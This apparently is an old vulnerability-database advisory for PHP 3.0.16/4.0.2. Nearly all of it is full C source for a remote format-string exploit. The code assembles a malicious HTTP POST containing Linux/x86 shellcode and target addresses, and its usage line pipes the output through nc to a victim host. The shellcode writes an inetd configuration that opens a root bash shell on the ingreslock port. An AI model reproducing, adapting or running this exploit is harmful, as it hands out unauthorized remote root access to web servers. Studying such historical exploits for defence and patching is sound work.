Vulnerability
php
Affected
PHP 3.0.16/4.0.2
Description
August Gneisenau found following. He did test on
Slack-7.0/Apache-1.3.12/PHP-3.0.16. If the default ones dont
work specify these from the commandline for slack 7.0 eip
address/shellcode address 0xbfff9b90/0xbfff958c.
/*
* PHP 3.0.16/4.0.2 remote format overflow exploit.
* Copyright (c) 2000
* Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
* gneisenau@berlin.com
* my regards to sheib and darkx
* All rights reserved
* Pascal Boucheraine's paper was enlightening
* THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE.
* YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
* FOR THE CONSEQUENCES
* Usage:
* phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
*/
/*
* We just printf the shellcode and stuff and nc it to the target
*/
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode.
/*
* This shellcode is for Linux/x86.
* This shellcode spawns a shell and runs the command
* echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
*/
char shellcode[] = {
0xeb,0x41,
0x5e,
0x31,0xc0,
0x31,0xdb,
0xb0,0xa0,
0x89,0x34,0x06,
0x8d,0x4e,0x07,
0x88,0x19,
0x41,
0x41,
0xb0,0xa4,
0x89,0x0c,0x06,
0x8d,0x4e,0x0b,
0x88,0x19,
0x41,
0xb0,0xa8,
0x89,0x0c,0x06,
0x8d,0x4e,0x7f,
0x88,0x19,
0x31,0xd2,
0xb0,0xac,
0x89,0x14,0x06,
0x89,0xf3,
0x89,0xf1,
0xb0,0xa0,
0x01,0xc1,
0xb0,0x0b,
0xcd,0x80,
0x31,0xc0,
0xb0,0x01,
0x31,0xdb,
0xcd,0x80,
0xe8,0xba,0xff,0xff,0xff,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */
0x2d,0x63,0xff, /* the string "-c" */
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};
#define NOP 0x90
/*
* the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
* string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
* for padding the addresses we embed in our attack buffer on word boundary
*/
#define PHP3_WARNING 68
#define BUF_LEN 1024
struct system_type {
char *name;
unsigned int nop;
char *shellcode;
int shellcode_len;
int offset; /* the number of pops we need to get to our own data*/
int already_written; /* number of bytes written by printf by the time we reach the our embedded data */
unsigned int eip_address; /* address where shellcode_address must be put */
unsigned int shellcode_address; /* address of shellcode in memory */
};
struct system_type systems[] = {
{
"Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
0x90,
shellcode,
270, /* not exact but we got lots of space ;) */
27,
0x152,
0xbfff9c30,
0xbfff962c,
},
// somebody find these and fill it in please. should be
// straightforward.
{
"Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
(unsigned int)NULL,
NULL,
(int)NULL,
(int)NULL,
(int)NULL,
(unsigned int)NULL,
(unsigned int)NULL,
},
{
NULL,
(unsigned int)NULL,
NULL,
(int)NULL,
(int)NULL,
(int)NULL,
(unsigned int)NULL,
(unsigned int)NULL,
},
};
void usage (void);
void parse_url (char *, char *);
void prepare_attack_buffer (char *, struct system_type *, char *);
int calculate_precision (unsigned int, int);
int
main (int argc, char *argv[])
{
char attack_buffer[2000]; // we construct the shellcode and stuff here
// the target is 1024 bytes long
struct system_type *sysptr;
char *url; // i hope these things dont get bigger than this
char target[2048]; // target will contain only the FQDN
unsigned int eip_address = 0, shellcode_address = 0;
int ctr = 0;
int nop_count;
char *walk;
int arg;
// at least expect a system type and url from the command line
if (argc < 3)
usage ();
// parse arguments
while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
switch (arg){
case 'h':
sscanf (optarg, "%x", &shellcode_address);
break;
case 'e':
sscanf (optarg, "%x", &eip_address);
break;
case 's':
sysptr = &systems[atoi (optarg)];
break;
case 'u':
url = optarg;
parse_url (url, target);
break;
case '?':
default :
usage ();
}
}
if (eip_address)
sysptr->eip_address = eip_address;
if (shellcode_address)
sysptr->shellcode_address = shellcode_address;
prepare_attack_buffer (attack_buffer, sysptr, url);
// as of now write it out to stdout. later write it to a socket
write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}
void
prepare_attack_buffer (char *attack_buffer, struct system_type *system,
char *url)
{
int dest_buffer_written; /* we keep track of how much bytes will be written in the destination buffer */
int ctr;
char *address;
char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n
// where x is precision
int p1,p2,p3,p4;
int nop_count;
bzero (attack_buffer, 2000);
sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url);
// mark strlen here. whatever we write after here appears in the buffer
dest_buffer_written = strlen (attack_buffer);
strcat (attack_buffer, "\x11\x11\x11\x11");
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
/*
* we need to add %x corresponding to the number of pops we need to reach
* our embedded addresses we defined above
*/
for (; system->offset; system->offset--)
strcat (attack_buffer, "%x ");
p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written);
p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written);
p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written);
p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written);
sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
strcat (attack_buffer, buf);
ctr = strlen (attack_buffer);
dest_buffer_written = ctr - dest_buffer_written;
dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack
attack_buffer += ctr;
nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
memset (attack_buffer, NOP, nop_count);
/*
* Add our shellcode at last
*/
attack_buffer += nop_count;
strcat (attack_buffer, shellcode);
strcat (attack_buffer, "\n");
strcat (attack_buffer, "Content-Length: 1337\n\n");
}
void
usage (void)
{
int ctr;
fprintf (stderr, " Apache/PHP xploit\n");
fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n");
fprintf (stderr, " for the r00tcrew\n");
fprintf (stderr, " All rights reserved\n");
fprintf (stderr, "\nUsage:\n");
fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n");
fprintf (stderr, "url: the complete url including FQDN and script on the server\n");
fprintf (stderr, " www.victim.com/info.php3\n");
fprintf (stderr, "available systypes:\n");
for (ctr = 0; systems[ctr].name; ctr++)
fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n");
fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n");
fprintf (stderr, "\n");
exit (1);
}
void
parse_url (char *url, char *target)
{
char *ptr;
strcpy (target, url);
if (!(ptr = index (target, '/'))){
fprintf (stderr, "invalid url. specify the script name on the target server too\n");
exit (1);
}
*ptr = '\0';
}
/*
* addr_byte contains the byte we need to write out. for example: 2c in
* 0xbfff962c, then 96, ff and bf.
*/
int
calculate_precision (unsigned int addr_byte, int already_written_init)
{
static int already_written = 0;
int tmp;
if (!already_written)
already_written = already_written_init;
while (addr_byte < already_written)
addr_byte += 0x100;
tmp = addr_byte - already_written;
already_written = addr_byte;
return tmp;
}
Solution
It should be noted that Slackware does not ship php. This exploit
is PHP specific. Nothing yet.
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